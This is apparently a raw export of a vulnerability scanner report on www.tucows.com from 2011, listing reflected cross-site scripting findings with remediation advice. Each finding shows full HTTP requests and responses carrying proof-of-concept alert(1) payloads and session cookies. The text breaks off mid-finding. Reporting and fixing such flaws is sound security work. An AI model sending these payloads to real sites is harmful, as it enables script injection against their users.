HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:27:58 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3ffcf"-alert(1)-"e9260562356 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/contact.html3ffcf"-alert(1)-"e9260562356 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:28:12 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
1.250. http://www.tucows.com/images/newassets/contact.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.tucows.com
Path:
/images/newassets/contact.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28c0c"-alert(1)-"83c957dbfec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/contact.html?28c0c"-alert(1)-"83c957dbfec=1 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:27:21 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload afe9d"-alert(1)-"8324c4abd1e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /imagesafe9d"-alert(1)-"8324c4abd1e/newassets/includes/corpbar/cb3.0/css/style.css HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:15 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 87e88"-alert(1)-"29fef7fc009 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets87e88"-alert(1)-"29fef7fc009/includes/corpbar/cb3.0/css/style.css HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:22 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ff73f"-alert(1)-"c3006f1651f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/includesff73f"-alert(1)-"c3006f1651f/corpbar/cb3.0/css/style.css HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:32 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8e6b"-alert(1)-"3078349caa2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/includes/corpbarb8e6b"-alert(1)-"3078349caa2/cb3.0/css/style.css HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:43 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14a3c"-alert(1)-"0443944911d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/includes/corpbar/cb3.014a3c"-alert(1)-"0443944911d/css/style.css HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:53 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 199e2"-alert(1)-"fac9720e4d9 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/includes/corpbar/cb3.0/css199e2"-alert(1)-"fac9720e4d9/style.css HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:27:05 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 26131"-alert(1)-"79cf1522983 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/includes/corpbar/cb3.0/css/style.css26131"-alert(1)-"79cf1522983 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:27:19 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5be67"-alert(1)-"26a6c055dc5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassets/includes/corpbar/cb3.0/css/style.css?5be67"-alert(1)-"26a6c055dc5=1 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:00 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 41642"-alert(1)-"3787a403d76 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images41642"-alert(1)-"3787a403d76/newassets/includes/js/aalib.js HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:19 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f7b02"-alert(1)-"7b6e920b807 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/newassetsf7b02"-alert(1)-"7b6e920b807/includes/js/aalib.js HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.0 404 Not Found Date: Thu, 03 Feb 2011 21:26:26 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 56eb6"-alert(1)-"cf82ccc0327 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
